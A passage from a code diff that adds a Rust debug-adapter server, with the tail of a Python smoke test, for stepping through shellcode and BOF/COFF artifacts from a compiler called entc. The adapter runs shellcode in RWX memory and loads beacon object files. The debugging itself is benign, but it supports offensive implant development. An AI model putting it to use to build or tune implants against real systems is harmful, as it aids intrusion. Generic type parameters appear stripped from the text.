during launch. + msg = read_frame(proc) + if msg is None: + print("[smoke] EOF before stop") + break + kind = msg.get("type") + if kind == "response": + cmd = msg.get("command") + ok = msg.get("success", False) + if cmd == "launch": + launch_ok = ok + if not ok: + print(f"[smoke] launch failed: {msg.get('message')}") + break + send(proc, seq, "configurationDone"); seq += 1 + sent_config_done = True + elif cmd == "configurationDone": + pass + elif kind == "event": + ev = msg.get("event") + body = msg.get("body", {}) + if ev == "output": + text = body.get("output", "").rstrip() + if text: + print(f" [stdout] {text}") + elif ev == "stopped": + reason = body.get("reason", "?") + print(f"[smoke] stopped (reason={reason})") + if reason in ("entry", "breakpoint"): + stopped_received = True + send(proc, seq, "disconnect", terminateDebuggee=True); seq += 1 + break + elif ev == "terminated": + print("[smoke] terminated event") + break + elif ev == "exited": + code = body.get("exitCode", 0) + print(f"[smoke] exited code={code}") + + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.terminate() + proc.wait() + + stderr = proc.stderr.read().decode("utf-8", errors="replace") + if stderr.strip(): + print(f"[smoke] adapter stderr: {stderr}") + + if launch_ok and stopped_received: + print("[smoke] PASS") + return 0 + print(f"[smoke] FAIL (launch_ok={launch_ok}, stopped={stopped_received})") + return 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/entc-debug/src/dap.rs b/tools/entc-debug/src/dap.rs new file mode 100644 index 0000000..70c801e --- /dev/null +++ b/tools/entc-debug/src/dap.rs @@ -0,0 +1,1985 @@ +// SPDX-License-Identifier: Apache-2.0 +//! dap.rs - Debug Adapter Protocol server speaking on stdio. +//! +//! Implements the F5 flow: +//! +//! initialize to launch to setBreakpoints* to configurationDone +//! ↓ +//! tracer thread starts, runs until first int 3 +//! ↓ +//! stopped event + register snapshot + (line, col) +//! ↓ +//! continue / next / stepInstruction / setBreakpoints to resume to ... +//! ↓ +//! exited / terminated to disconnect +//! +//! Beyond the basic stepping loop, this adapter also exposes: +//! +//! - the "Registers" + "Stack" variables scopes (RAX..R15, RIP, +//! RFLAGS; sixteen qwords above RSP) - answers `scopes` and +//! `variables`. +//! - `disassemble`: feeds VS Code's Disassembly View. Reads bytes +//! out of the live shellcode region and decodes them with +//! iced-x86. Instruction stepping pairs naturally with this view. +//! - `readMemory`: lets users punch any address into the Hex Editor +//! /Memory view. Validated through VirtualQuery so a typo doesn't +//! crash the adapter. +//! +//! Out of scope (returns empty / stub): writeMemory, evaluate, +//! conditional breakpoints, multiple threads. +//! +//! Protocol shape (per DAP spec): +//! +//! Content-Length: \r\n +//! \r\n +//! + +use std::collections::HashMap; +use std::fs; +use std::io::{self, Read, Write}; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicI64, Ordering}; +use std::sync::mpsc; +use std::sync::{Arc, Mutex}; +use std::thread; + +use serde_json::{json, Value}; + +use crate::sourcemap::SourceMap; +use crate::tracer::{self, Cmd, Event, StopReason, TracerSession}; + +// ============================================================================ +// Wire framing. +// ============================================================================ + +fn read_message(rdr: &mut R) -> io::Result> { + let mut content_length: Option = None; + let mut buf = Vec::::new(); + loop { + let mut b = [0u8; 1]; + match rdr.read_exact(&mut b) { + Ok(()) => {} + Err(e) if e.kind() == io::ErrorKind::UnexpectedEof => return Ok(None), + Err(e) => return Err(e), + } + buf.push(b[0]); + if buf.ends_with(b"\r\n") { + let line = &buf[..buf.len() - 2]; + if line.is_empty() { break; } + if let Some(rest) = strip_header_prefix(line, b"Content-Length:") { + if let Ok(s) = std::str::from_utf8(rest) { + content_length = s.trim().parse().ok(); + } + } + buf.clear(); + } + } + let len = content_length.unwrap_or(0); + let mut body = vec![0u8; len]; + rdr.read_exact(&mut body)?; + let v: Value = serde_json::from_slice(&body) + .map_err(|e| io::Error::new(io::ErrorKind::InvalidData, e))?; + Ok(Some(v)) +} + +fn strip_header_prefix<'a>(line: &'a [u8], prefix: &[u8]) -> Option<&'a [u8]> { + if line.len() < prefix.len() { return None; } + if line[..prefix.len()].eq_ignore_ascii_case(prefix) { + Some(&line[prefix.len()..]) + } else { + None + } +} + +// ============================================================================ +// Shared writer. +// ============================================================================ + +struct DapWriter { + out: Mutex, + seq: AtomicI64, +} + +impl DapWriter { + fn new() -> Self { + Self { out: Mutex::new(io::stdout()), seq: AtomicI64::new(1) } + } + fn next_seq(&self) -> i64 { self.seq.fetch_add(1, Ordering::Relaxed) } + + fn write_frame(&self, body: &[u8]) { + if let Ok(mut out) = self.out.lock() { + let _ = write!(out, "Content-Length: {}\r\n\r\n", body.len()); + let _ = out.write_all(body); + let _ = out.flush(); + } + } + fn reply_ok(&self, req: &Value, body: Value) { + let msg = json!({ + "type": "response", + "seq": self.next_seq(), + "request_seq": req["seq"], + "success": true, + "command": req["command"], + "body": body, + }); + self.write_frame(&serde_json::to_vec(&msg).unwrap()); + } + fn reply_err(&self, req: &Value, message: &str) { + let msg = json!({ + "type": "response", + "seq": self.next_seq(), + "request_seq": req["seq"], + "success": false, + "command": req["command"], + "message": message, + }); + self.write_frame(&serde_json::to_vec(&msg).unwrap()); + } + fn event(&self, name: &str, body: Value) { + let msg = json!({ + "type": "event", + "seq": self.next_seq(), + "event": name, + "body": body, + }); + self.write_frame(&serde_json::to_vec(&msg).unwrap()); + } +} + +// ============================================================================ +// Variable reference IDs. +// +// VS Code identifies expandable variable lists by integer reference. +// We reserve a small static set; nothing here is dynamic enough to +// need a registry. +// ============================================================================ + +const VARREF_REGISTERS: i64 = 1; +const VARREF_STACK: i64 = 2; +const VARREF_LOCALS: i64 = 3; + +// ============================================================================ +// Server state. +// ============================================================================ + +struct PendingLaunch { + bin_path: String, + stop_on_entry: bool, + /// What kind of artifact `bin_path` points at: + /// - `Shellcode` - flat `.bin` produced by `--type=standard`. + /// Tracer VirtualAllocs RWX + copies + calls offset 0 as + /// `extern "C" fn() -> i64`. + /// - `Bof { args }` - `.obj` produced by `--type=bof|coff`. + /// Loaded via [`bof_loader::load`] (parses COFF, maps + /// sections, resolves `__imp_*`, applies relocations). + /// Tracer plants int 3 at debug offsets in `.text` and + /// calls `go(args, len)` as `extern "system"`. + artifact: ArtifactKind, +} + +enum ArtifactKind { + Shellcode, + Bof { args: Vec }, +} + +/// Per-breakpoint metadata that affects how a stop is handled: +/// +/// - `condition` - DAP "expression that must be true for the bp to +/// fire". We evaluate it on each hit; false to auto-resume. +/// - `log_message` - DAP "logpoint". On hit, format the template and +/// emit an Output event, then auto-resume; never +/// stops. Template `{expr}` placeholders are +/// evaluated against the registers + locals. +#[derive(Debug, Clone, Default)] +struct BpMeta { + condition: Option, + log_message: Option, +} + +/// State shared between the request-handling loop and the tracer-event +/// forwarder thread. The forwarder needs to: +/// (a) read the source map to resolve `line` to variable scope, +/// (b) read the tracer session to evaluate expressions against live +/// register state, +/// (c) look up per-breakpoint metadata to decide whether the hit +/// should fire / be skipped / be turned into a log, +/// (d) send `Cmd::Continue` back to the tracer when skipping. +/// All four arrive at different times relative to when the forwarder +/// is spawned, so we route them through Mutex> rather +/// than capturing at spawn time. +struct SharedDap { + map: Mutex>, + session: Mutex>>, + cmd_tx: Mutex>>, + bp_meta: Mutex>, + last_stop: Mutex>, +} + +impl SharedDap { + fn new() -> Arc { + Arc::new(Self { + map: Mutex::new(None), + session: Mutex::new(None), + cmd_tx: Mutex::new(None), + bp_meta: Mutex::new(HashMap::new()), + last_stop: Mutex::new(None), + }) + } + fn map_clone(&self) -> Option { self.map.lock().unwrap().clone() } + fn session_clone(&self) -> Option> { self.session.lock().unwrap().clone() } + fn current_line(&self) -> u32 { self.last_stop.lock().unwrap().map(|(l,_)| l).unwrap_or(0) } +} + +struct Server { + pending_launch: Option, + user_bps: Vec, + tracer_join: Option>, + shared: Arc, +} + +impl Server { + fn new(shared: Arc) -> Self { + Self { + pending_launch: None, + user_bps: Vec::new(), + tracer_join: None, + shared, + } + } +} + +// ============================================================================ +// Main loop. +// ============================================================================ + +pub fn serve() { + let stdin = io::stdin(); + let mut rdr = stdin.lock(); + let writer = Arc::new(DapWriter::new()); + let shared = SharedDap::new(); + let mut srv = Server::new(shared.clone()); + + let (ev_tx_main, ev_rx_main) = mpsc::channel::(); + let writer_clone = writer.clone(); + let shared_clone = shared.clone(); + let _ = thread::spawn(move || { + for ev in ev_rx_main.iter() { + match ev { + Event::Stopped { line, col, reason, description, offset, .. } => { + *shared_clone.last_stop.lock().unwrap() = Some((line, col)); + + // Per-breakpoint metadata: a logpoint hit emits an + // Output event and auto-resumes (never shows the + // stop in the UI). A false condition auto-resumes + // silently. Both paths bypass the stopped event. + if matches!(reason, StopReason::Breakpoint) { + let meta = shared_clone.bp_meta.lock().unwrap() + .get(&offset).cloned().unwrap_or_default(); + if let Some(template) = meta.log_message.as_deref() { + let rendered = render_log_message(template, &shared_clone, line); + writer_clone.event("output", json!({ + "category": "console", + "output": format!("{rendered}\n"), + "line": line, + })); + send_continue(&shared_clone); + continue; + } + if let Some(cond) = meta.condition.as_deref() { + if !evaluate_truthy(cond, &shared_clone, line) { + send_continue(&shared_clone); + continue; + } + } + } + + let reason_str = match reason { + StopReason::Entry => "entry", + StopReason::Breakpoint => "breakpoint", + StopReason::Step => "step", + StopReason::Pause => "pause", + StopReason::Exception => "exception", + }; + let mut body = json!({ + "reason": reason_str, + "threadId": 1, + "allThreadsStopped": true, + "preserveFocusHint": false, + }); + if let Some(text) = description { + body["text"] = json!(text); + body["description"] = json!("debuggee fault"); + } + writer_clone.event("stopped", body); + } + Event::Output { text } => { + writer_clone.event("output", json!({ + "category": "console", + "output": format!("{text}\n"), + })); + } + Event::Exited { code } => { + writer_clone.event("exited", json!({ "exitCode": code })); + writer_clone.event("terminated", json!({})); + } + } + } + }); + let tracer_ev_tx = ev_tx_main; + + fn send_continue(shared: &SharedDap) { + if let Some(tx) = shared.cmd_tx.lock().unwrap().as_ref() { + let _ = tx.send(Cmd::Continue); + } + } + + loop { + let req = match read_message(&mut rdr) { + Ok(Some(v)) => v, + Ok(None) => return, + Err(e) => { eprintln!("dap: read error: {e}"); return; } + }; + let cmd = req["command"].as_str().unwrap_or("").to_string(); + match cmd.as_str() { + "initialize" => { + writer.reply_ok(&req, json!({ + "supportsConfigurationDoneRequest": true, + "supportsTerminateRequest": true, + "supportsRestartRequest": true, + "supportsBreakpointLocationsRequest": true, + "supportsSteppingGranularity": true, + "supportsDisassembleRequest": true, + "supportsReadMemoryRequest": true, + "supportsConditionalBreakpoints": true, + "supportsLogPoints": true, + "supportsEvaluateForHovers": true, + "supportsStepBack": false, + "supportsExceptionInfoRequest": false, + })); + writer.event("initialized", json!({})); + } + + "launch" | "attach" => { + let args = &req["arguments"]; + let program = args["program"].as_str() + .or_else(|| args["bin"].as_str()) + .map(String::from); + let Some(program) = program else { + writer.reply_err(&req, + "launch: `program` is required (path to a .etpy source, .bin, .x64.o, .obj, or .coff)"); + continue; + }; + let stop_on_entry = args["stopOnEntry"].as_bool().unwrap_or(true); + + // ---- Resolve source + artifact + mode ----------------- + // + // `program` accepts three shapes; all three converge on + // the same (source, artifact_path, mode) triple below: + // + // 1. `.etpy` - source mode. Sniff the file + // for `fn go(` vs `fn main(`, + // pick the build kind, ALWAYS + // rebuild (so the .obj/.bin + // on disk matches what the + // user sees in the editor), + // then debug the result. + // This is the recommended F5 + // flow - fully self-describing. + // + // 2. `.obj` / `.coff` - BOF artifact path. The + // sibling `.etpy` is the + // source; rebuild iff + // `build: true`. + // + // 3. anything else - shellcode artifact path + // (`.bin` or custom name). + // Same source-derivation rule. + // + // The auto-detect path means the package.json default + // `program: "${file}"` works without the user having to + // know which artifact kind their .etpy compiles to. + let force_build = args["build"].as_bool().unwrap_or(false); + let explicit_source = args["source"].as_str() + .filter(|s| !s.is_empty()).map(String::from); + + let resolved = match resolve_launch_target( + &program, explicit_source.as_deref(), force_build, + ) { + Ok(r) => r, + Err(e) => { + writer.reply_err(&req, &format!("launch: {e}")); + continue; + } + }; + let ResolvedTarget { source, bin_path, build_kind, should_build } = resolved; + + // ---- Compile when requested OR when source-mode ------- + // + // `.etpy` source mode forces a build every launch - the + // `.obj`/`.bin`/`.dbg` on disk may be stale, mismatched, + // or absent entirely. Avoiding the rebuild would mean + // F5 silently running last-week's binary. + if should_build { + let Some(ref source_path) = source else { + writer.reply_err(&req, + "build requested but no `.etpy` source found. \ + Either pass `program: \"path/to/source.etpy\"` or \ + add `source: \"path/to/source.etpy\"` to launch.json."); + continue; + }; + let entc = args["entc"].as_str() + .filter(|s| !s.is_empty()) + .map(String::from) + .or_else(|| find_entc(source_path)); + let Some(entc) = entc else { + writer.reply_err(&req, + "build needed but no entc compiler found. Set `entc` in \ + launch.json to the absolute path of entc.exe, or run \ + `cargo build -p entropykit` so target/{release,debug}/entc.exe \ + exists in a parent directory of your source."); + continue; + }; + let build_type: Option<&str> = match build_kind { + BuildMode::Bof => Some("bof"), + BuildMode::Coff => Some("coff"), + BuildMode::Standard => None, + }; + writer.event("output", json!({ + "category": "console", + "output": format!( + "[entc-debug] launching {source_path} as {} (artifact: {bin_path})\n", + match build_kind { + BuildMode::Bof => "BOF", + BuildMode::Coff => "COFF", + BuildMode::Standard => "shellcode", + } + ), + })); + match run_entc_compile(&entc, source_path, build_type) { + Ok(diag) => { + if !diag.is_empty() { + writer.event("output", json!({ + "category": "console", + "output": diag, + })); + } + } + Err(BuildErr { exit_code, stderr }) => { + // Stream compile diagnostics into the + // Debug Console as stderr so VS Code's + // problem-matcher styling kicks in. + writer.event("output", json!({ + "category": "stderr", + "output": stderr, + })); + writer.reply_err(&req, &format!( + "entc compile failed (exit {exit_code}). See Debug Console for details.")); + continue; + } + } + } + + // ---- Final artifact existence check ------------------- + // + // If we got here without building, the artifact must + // already exist; otherwise the next `fs::read` deep in + // the tracer would fail with an opaque message. Catch + // it now with a precise hint. + if !Path::new(&bin_path).exists() { + writer.reply_err(&req, &format!( + "artifact `{bin_path}` doesn't exist. \ + {} \ + If the source compiles to a different path, set `program` \ + to that path explicitly.", + if source.is_some() { + "Set `build: true` in launch.json to compile it from source." + } else { + "Pass a `.etpy` source as `program` (recommended) so the \ + debugger auto-builds, or compile it manually with `entc compile`." + } + )); + continue; + } + + // ---- Source map sidecar ------------------------------- + let dbg_path = match args["dbg"].as_str() { + Some(s) if !s.is_empty() => s.to_string(), + _ => default_dbg_for(&bin_path), + }; + + // ---- Pack BOF args (BOF mode only) -------------------- + let is_bof = matches!(build_kind, BuildMode::Bof | BuildMode::Coff); + let artifact = if is_bof { + let arg_tokens: Vec = args["args"].as_array() + .map(|arr| arr.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect()) + .unwrap_or_default(); + match bof_loader::args::parse_packed_args(&arg_tokens) { + Ok(packed) => ArtifactKind::Bof { args: packed }, + Err(e) => { + writer.reply_err(&req, &format!("`args`: {e}")); + continue; + } + } + } else { + ArtifactKind::Shellcode + }; + + match SourceMap::load(&dbg_path) { + Ok(map) => { + *srv.shared.map.lock().unwrap() = Some(map); + srv.pending_launch = Some(PendingLaunch { + bin_path, stop_on_entry, artifact, + }); + writer.reply_ok(&req, json!({})); + } + Err(e) => writer.reply_err(&req, &format!( + "load source map `{dbg_path}`: {e}. \ + Did the build emit a .dbg sidecar? \ + Set `build: true` in launch.json to force `entc compile --debug`." + )), + } + } + + "setBreakpoints" => { + let source_path = req["arguments"]["source"]["path"] + .as_str().unwrap_or("").to_string(); + let bp_args: Vec = req["arguments"]["breakpoints"] + .as_array().cloned().unwrap_or_default(); + + // Translate each requested bp INDIVIDUALLY, preserving + // the (bp_args, requested_lines, translation) alignment + // so the metadata indexing below stays correct even + // when some lines fall between .dbg entries. + let map_clone = srv.shared.map_clone(); + let translations: Vec> = bp_args.iter().map(|b| { + let line = b["line"].as_u64().map(|n| n as u32)?; + let map = map_clone.as_ref()?; + translate_one_bp(map, &source_path, line) + }).collect(); + + // Build (offsets, response rows, meta map) in lockstep. + let mut offsets: Vec = Vec::new(); + let mut bp_rows: Vec = Vec::with_capacity(bp_args.len()); + let mut meta = srv.shared.bp_meta.lock().unwrap(); + meta.clear(); + for (i, t) in translations.iter().enumerate() { + let raw = &bp_args[i]; + let req_line = raw["line"].as_u64().unwrap_or(0) as u32; + match t { + Some((off, mapped_line)) => { + offsets.push(*off); + // DAP lets the response report a different + // line from the request - VS Code snaps + // the gutter marker to where the bp + // actually landed. + bp_rows.push(json!({ + "verified": true, + "line": mapped_line, + })); + let condition = raw["condition"].as_str() + .filter(|s| !s.is_empty()).map(String::from); + let log_message = raw["logMessage"].as_str() + .filter(|s| !s.is_empty()).map(String::from); + if condition.is_some() || log_message.is_some() { + meta.insert(*off, BpMeta { condition, log_message }); + } + } + None => { + bp_rows.push(json!({ + "verified": false, + "line": req_line, + "message": "no .dbg entry at or after this line", + })); + } + } + } + drop(meta); + + srv.user_bps = offsets.clone(); + + // Apply the new set. If the tracer is already running, + // plant directly into RWX memory so changes take effect + // BEFORE the next stop. This is what makes "add a + // breakpoint while the program is running" actually + // work - previously we routed through Cmd::SetBreakpoints + // on a channel that the tracer only drains when parked, + // so a new bp would only fire if some OTHER bp already + // existed to park on. apply_breakpoints_live is a no-op + // when the tracer hasn't started yet, in which case the + // bps will get planted from `initial` in configurationDone. + tracer::apply_breakpoints_live(&offsets); + + writer.reply_ok(&req, json!({ "breakpoints": bp_rows })); + } + + "setExceptionBreakpoints" => { + writer.reply_ok(&req, json!({})); + } + + "configurationDone" => { + writer.reply_ok(&req, json!({})); + if let Some(pl) = srv.pending_launch.take() { + let mut initial = srv.user_bps.clone(); + let map_for_start = srv.shared.map_clone().expect("map loaded at launch"); + if pl.stop_on_entry { + if let Some(first) = map_for_start.entries.first() { + if !initial.contains(&first.offset) { + initial.push(first.offset); + } + } + } + let session = TracerSession::new(); + let result = match &pl.artifact { + ArtifactKind::Shellcode => start_tracer( + &pl.bin_path, map_for_start, initial, + session.clone(), tracer_ev_tx.clone(), + ), + ArtifactKind::Bof { args } => start_tracer_bof( + &pl.bin_path, map_for_start, initial, + session.clone(), tracer_ev_tx.clone(), + args.clone(), + ), + }; + match result { + Ok((cmd_tx, join)) => { + *srv.shared.cmd_tx.lock().unwrap() = Some(cmd_tx); + *srv.shared.session.lock().unwrap() = Some(session); + srv.tracer_join = Some(join); + writer.event("thread", json!({ + "reason": "started", + "threadId": 1, + })); + } + Err(e) => { + writer.event("output", json!({ + "category": "stderr", + "output": format!("entc-debug: {e}\n"), + })); + writer.event("terminated", json!({})); + } + } + } + } + + "threads" => { + writer.reply_ok(&req, json!({ + "threads": [{ "id": 1, "name": "shellcode" }] + })); + } + + "stackTrace" => { + let map = srv.shared.map_clone(); + let last = *srv.shared.last_stop.lock().unwrap(); + let body = match (map, last) { + (Some(map), Some((line, col))) => { + let abs = map.source_path.to_string_lossy().to_string(); + let name = map.source_path.file_name() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_default(); + let rip = current_rip(&srv.shared.session_clone()).unwrap_or(0); + json!({ + "stackFrames": [{ + "id": 1, + "name": "shellcode", + "line": line, + "column": col, + "instructionPointerReference": format!("0x{rip:x}"), + "source": { "path": abs, "name": name } + }], + "totalFrames": 1 + }) + } + _ => json!({ "stackFrames": [], "totalFrames": 0 }), + }; + writer.reply_ok(&req, body); + } + + "scopes" => { + // Order matters - VS Code expands the first scope by + // default. Locals first so users see their named vars + // before having to drill into Registers. + writer.reply_ok(&req, json!({ + "scopes": [ + { + "name": "Locals", + "presentationHint": "locals", + "variablesReference": VARREF_LOCALS, + "expensive": false, + }, + { + "name": "Registers", + "presentationHint": "registers", + "variablesReference": VARREF_REGISTERS, + "expensive": false, + }, + { + "name": "Stack", + "variablesReference": VARREF_STACK, + "expensive": false, + } + ] + })); + } + + "variables" => { + let var_ref = req["arguments"]["variablesReference"].as_i64().unwrap_or(0); + let session = srv.shared.session_clone(); + let map = srv.shared.map_clone(); + let line = srv.shared.current_line(); + let vars = match var_ref { + VARREF_REGISTERS => build_registers(&session), + VARREF_STACK => build_stack(&session), + VARREF_LOCALS => build_locals(&session, &map, line), + _ => Vec::new(), + }; + writer.reply_ok(&req, json!({ "variables": vars })); + } + + "disassemble" => { + let session = srv.shared.session_clone(); + let body = handle_disassemble(&req, &session, &srv.shared.map_clone()); + writer.reply_ok(&req, body); + } + + "readMemory" => { + let session = srv.shared.session_clone(); + let (body, ok) = handle_read_memory(&req, &session); + if ok { + writer.reply_ok(&req, body); + } else { + writer.reply_err(&req, "readMemory: invalid memoryReference"); + } + } + + "evaluate" => { + let expr = req["arguments"]["expression"].as_str().unwrap_or("").to_string(); + let line = srv.shared.current_line(); + match evaluate(&expr, &srv.shared, line) { + Ok(v) => writer.reply_ok(&req, json!({ + "result": format_eval_value(&v), + "variablesReference": 0, + "memoryReference": match &v { + EvalValue::Int(n) => format!("0x{n:x}"), + _ => String::new(), + }, + })), + Err(e) => writer.reply_err(&req, &e), + } + } + + "continue" => { + if let Some(tx) = srv.shared.cmd_tx.lock().unwrap().as_ref() { + let _ = tx.send(Cmd::Continue); + } + writer.reply_ok(&req, json!({ "allThreadsContinued": true })); + } + "next" | "stepIn" | "stepOut" => { + let gran = req["arguments"]["granularity"].as_str().unwrap_or("statement"); + let cmd = if gran == "instruction" { Cmd::StepInstruction } else { Cmd::Next }; + if let Some(tx) = srv.shared.cmd_tx.lock().unwrap().as_ref() { + let _ = tx.send(cmd); + } + writer.reply_ok(&req, json!({})); + } + "pause" => { + let session = srv.shared.session_clone(); + let ok = match (session, &srv.tracer_join) { + (Some(s), Some(j)) => arm_pause(&s, j), + _ => false, + }; + if !ok { + writer.event("output", json!({ + "category": "console", + "output": "[entc-debug] pause: nothing to suspend\n", + })); + } + writer.reply_ok(&req, json!({})); + } + + "restart" => { + // VS Code's UI "Restart" button. We acknowledge the + // request and exit - the editor then invokes the + // adapter again from scratch, which is cleaner than + // teardown-and-respawn inside one process given the + // global VEH state and one-tracer-at-a-time invariant. + writer.reply_ok(&req, json!({})); + writer.event("terminated", json!({ "restart": true })); + std::process::exit(0); + } + + "disconnect" | "terminate" => { + // Acknowledge first so VS Code's UI unblocks, then + // exit the whole process. We deliberately do NOT + // try to "let the shellcode finish" - the previous + // behaviour (restore-and-continue) was why the + // MessageBox still popped up after the user clicked + // stop. Killing the adapter process tears down the + // tracer thread + shellcode + any blocking syscall + // (MessageBox, Sleep, RPC, ...) atomically. + writer.reply_ok(&req, json!({})); + writer.event("terminated", json!({})); + writer.event("exited", json!({ "exitCode": 0 })); + std::process::exit(0); + } + + _ => { writer.reply_ok(&req, json!({})); } + } + } +} + +// ============================================================================ +// Helpers. +// ============================================================================ + +fn default_dbg_for(bin: &str) -> String { + // Multi-segment extensions first so `foo.x64.o` resolves to `foo.dbg`, + // not `foo.x64.dbg`. + for ext in [".x64.o", ".x86.o", ".bin", ".obj", ".coff"] { + if let Some(stem) = bin.strip_suffix(ext) { + return format!("{stem}.dbg"); + } + } + format!("{bin}.dbg") +} + +fn start_tracer( + bin_path: &str, + map: SourceMap, + initial_bps: Vec, + session: Arc, + ev_tx: mpsc::Sender, +) -> Result<(mpsc::Sender, thread::JoinHandle<()>), String> { + let bin = fs::read(bin_path) + .map_err(|e| format!("read {bin_path}: {e}"))?; + let (cmd_tx, cmd_rx) = mpsc::channel::(); + let bin_clone = bin.clone(); + let map_clone = map.clone(); + let session_clone = session.clone(); + let join = thread::spawn(move || { + tracer::run(&bin_clone, map_clone, initial_bps, + session_clone, ev_tx, cmd_rx); + }); + let _ = session; // moved into spawn; explicit name keeps the read clear. + Ok((cmd_tx, join)) +} + +/// BOF flavour of `start_tracer`. Loads the `.obj` via `bof_loader` +/// (parsing, mapping, symbol resolution, relocations) and hands the +/// already-loaded artifact to `tracer::run_bof`. The tracer then +/// plants `int 3` at the debug-info offsets within `.text` and calls +/// `go(args, len)` with Win64 calling convention. +fn start_tracer_bof( + obj_path: &str, + map: SourceMap, + initial_bps: Vec, + session: Arc, + ev_tx: mpsc::Sender, + args: Vec, +) -> Result<(mpsc::Sender, thread::JoinHandle<()>), String> { + let coff_bytes = fs::read(obj_path) + .map_err(|e| format!("read {obj_path}: {e}"))?; + // Load NOW (on the DAP server thread) rather than inside the + // tracer thread, so any COFF parse / relocation error surfaces + // through the existing `Err` path and the user gets a clean + // launch failure instead of "debugger died." + let loaded = bof_loader::load::load(&coff_bytes)?; + let (cmd_tx, cmd_rx) = mpsc::channel::(); + let map_clone = map.clone(); + let session_clone = session.clone(); + let join = thread::spawn(move || { + tracer::run_bof(loaded, args, map_clone, initial_bps, + session_clone, ev_tx, cmd_rx); + }); + let _ = session; + Ok((cmd_tx, join)) +} + +/// Translate one breakpoint request to a planted-offset + the actual +/// source line we mapped it to (which may differ from the requested +/// line if the user clicked between .dbg entries). +/// +/// Strategy: +/// 1. Confirm the source file matches (canonical-path or +/// basename fallback). +/// 2. Exact line match to use that entry. +/// 3. Otherwise, snap FORWARD to the first entry whose line is +/// strictly greater. This matches what most debuggers do for +/// "you clicked the gutter on a line of whitespace / comment". +/// 4. If nothing past this line is mapped, give up - there's no +/// executable code we could trap on. +fn translate_one_bp(map: &SourceMap, source_path: &str, line: u32) -> Option<(usize, u32)> { + let want = std::fs::canonicalize(source_path).ok(); + let have = std::fs::canonicalize(&map.source_path).ok(); + let same_source = match (&want, &have) { + (Some(a), Some(b)) => a == b, + _ => map.source_path.file_name() == Path::new(source_path).file_name(), + }; + if !same_source { return None; } + + if let Some(e) = map.entries.iter().find(|e| e.line == line) { + return Some((e.offset, e.line)); + } + // Snap forward to the entry with the SMALLEST line strictly + // greater than the requested one - NOT the first entry in + // offset order with `line > requested`. `entries` is sorted by + // offset, so a naïve `find(|e| e.line > requested)` can pick + // an entry from a different function whose offset happens to + // come earlier in the file. Comparing on `e.line` gives us the + // "next executable line BELOW where you clicked" the user + // expects. + map.entries.iter() + .filter(|e| e.line > line) + .min_by_key(|e| e.line) + .map(|e| (e.offset, e.line)) +} + +fn current_rip(session: &Option>) -> Option { + session.as_ref().and_then(|s| s.regs()).map(|r| r.rip) +} + +// ---------------------------------------------------------------- variables + +/// One row in the Registers scope. The `memoryReference` field is set +/// to the value formatted as hex so the user can right-click to "View +/// Binary Data" / open the Memory view at the address held by that +/// register. +fn reg(name: &str, value: u64) -> Value { + json!({ + "name": name, + "value": format!("0x{value:016x} ({value})"), + "type": "u64", + "variablesReference": 0, + "memoryReference": format!("0x{value:x}"), + }) +} + +fn build_registers(session: &Option>) -> Vec { + let r = match session.as_ref().and_then(|s| s.regs()) { + Some(r) => r, + None => return vec![], + }; + let f = r.rflags; + // RFLAGS bit positions (Intel SDM Vol 1 §3.4.3). + let bit = |pos: u32, name: &str| -> Value { + json!({ + "name": name, + "value": if (f >> pos) & 1 == 1 { "1" } else { "0" }, + "type": "flag", + "variablesReference": 0, + }) + }; + vec![ + reg("RIP", r.rip), + reg("RFLAGS", r.rflags), + // Single-bit flag rows. Cheap, and once you've debugged a + // conditional jump that didn't go where you expected, having + // ZF/CF/SF inline saves you bit-twiddling RFLAGS in your head. + bit(0, "CF"), bit(2, "PF"), bit(4, "AF"), bit(6, "ZF"), + bit(7, "SF"), bit(10, "DF"), bit(11, "OF"), + reg("RAX", r.rax), reg("RBX", r.rbx), reg("RCX", r.rcx), reg("RDX", r.rdx), + reg("RSI", r.rsi), reg("RDI", r.rdi), + reg("RBP", r.rbp), reg("RSP", r.rsp), + reg("R8", r.r8), reg("R9", r.r9), reg("R10", r.r10), reg("R11", r.r11), + reg("R12", r.r12), reg("R13", r.r13), reg("R14", r.r14), reg("R15", r.r15), + ] +} + +/// The "Locals" scope: named variables in scope at the current line, +/// resolved through the .dbg's variables section. For each variable +/// we compute its current address from the registers + textual loc +/// expression (`rbp-0x8`, `rax`, ...), then read the underlying +/// qword. Types currently rendered hex/dec like other variables; +/// future work could format `int`/`bool`/`str` differently. +fn build_locals( + session: &Option>, + map: &Option, + line: u32, +) -> Vec { + let (regs, map) = match (session.as_ref().and_then(|s| s.regs()), map.as_ref()) { + (Some(r), Some(m)) => (r, m), + _ => return Vec::new(), + }; + let mut out = Vec::new(); + // When the stop has no source mapping (line == 0 - e.g. after a + // pause that landed mid-statement, or an instruction-step between + // .dbg entries), don't hide every local. The user is still + // somewhere inside a function; show ALL declared locals so they + // can see register-derived values rather than an empty panel. + let scoped: Vec<_> = if line == 0 { + map.vars.iter().collect() + } else { + map.vars_in_scope(line) + }; + for v in scoped { + let addr = match resolve_var_address(&v.loc, ®s) { + Some(a) => a, + None => { + out.push(json!({ + "name": v.name, + "value": format!("", v.loc), + "type": v.ty, + "variablesReference": 0, + })); + continue; + } + }; + // The location may itself BE a register (no memory read needed): + // `loc` like `rax` should report rax's value directly. + if let Some(direct) = direct_register_value(&v.loc, ®s) { + out.push(json!({ + "name": v.name, + "value": format_typed_value(direct, &v.ty), + "type": v.ty, + "variablesReference": 0, + "memoryReference": format!("0x{:x}", direct), + })); + continue; + } + let mut buf = [0u8; 8]; + let n = unsafe { try_read_bytes(addr, &mut buf) }; + let value_str = if n == 8 { + format_typed_value(u64::from_le_bytes(buf), &v.ty) + } else { + "".to_string() + }; + out.push(json!({ + "name": v.name, + "value": value_str, + "type": v.ty, + "variablesReference": 0, + "memoryReference": format!("0x{:x}", addr), + })); + } + out +} + +/// Parse a location expression into the absolute address of the +/// variable's storage. Supported shapes: +/// - `rbp-0x8`, `rbp+0x10`, `rsp-0x4` (general `reg±hex`) +/// - `rip+0x...` (rip-relative - globals) +/// Returns None for register-only locations (caller should use +/// `direct_register_value`) and for malformed expressions. +fn resolve_var_address(loc: &str, regs: &crate::tracer::RegSnapshot) -> Option { + let s = loc.trim().to_ascii_lowercase(); + // Split on the FIRST + or - (after the register name). + let split = s.find(|c| c == '+' || c == '-')?; + let (reg, rest) = s.split_at(split); 